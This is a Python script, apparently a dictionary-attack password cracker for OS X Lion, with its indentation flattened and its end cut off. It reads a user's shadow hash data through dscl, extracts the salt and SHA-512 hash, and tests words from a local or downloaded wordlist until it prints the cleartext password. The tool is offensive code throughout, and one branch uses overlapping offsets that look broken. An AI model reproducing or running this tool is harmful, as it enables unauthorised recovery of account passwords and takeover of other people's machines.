Crack Os Lion Root

##########################################

#* OS X Lion 10.7 Password Cracker

from subprocess import *

import hashlib

import os

import urllib2

import sys

from string import *

link = "http://nmap.org/svn/nselib/data/passwords.lst" # Online password file

defaultuser = False

username = ""

def check(password): # Hash password and compare

if not password.startswith("#!"): # Ignore comments

guess = hashlib.sha512(salt_hex + password).hexdigest()

print("Trying... " + password)

if guess == hash:

print("Cleartext password for user '"+username+"' is : "+password)

exit(0)

if len(sys.argv) < 2:

print("No username given. Defaulting to current user.")

defaultuser = True

else:

username = sys.argv[1]

p = Popen("whoami", shell=True, stdout=PIPE)

whoami = p.communicate()[0]

if defaultuser:

username = whoami.rstrip()

p = Popen("dscl localhost -read /Search/Users/" + username, shell=True, stdout=PIPE)

dscl_out = p.communicate()[0]

list = dscl_out.split("\n")

for pos,item in enumerate(list): # extract digest

if "dsAttrTypeNative:ShadowHashData" in item:

digest = list[pos+1].replace(" ", "")

if len(digest) == 262: # Out of box configuration

salt = digest[56:64]

hash = digest[64:192]

elif len(digest) == 314: # SMB turned on

print("SMB is on")

salt = digest[104:112]

hash = digest[112:240]

elif len(digest) == 1436: # Lion Server

salt = digest[176:184]

hash = digest[176:304]

elif len(digest) == 1492: # Lion Server with SMB

salt = digest[224:232]

hash = digest[232:360]

print("SALT : " + salt)

print("HASH : " + hash)

salt_hex = chr(int(salt[0:2], 16)) + chr(int(salt[2:4], 16)) + chr(int(salt[4:6], 16)) + chr(int(salt[6:8], 16))

if len(sys.argv) == 3: # If dictionary file specified

print("Reading from dictionary file '"+sys.argv[2]+"'.")

check(whoami.rstrip())

passlist = open(sys.argv[2], "r")

password = passlist.readline()

while password:

check(password.rstrip())

password = passlist.readline()

passlist.close()

else: # No dictionary file specified

print("No

...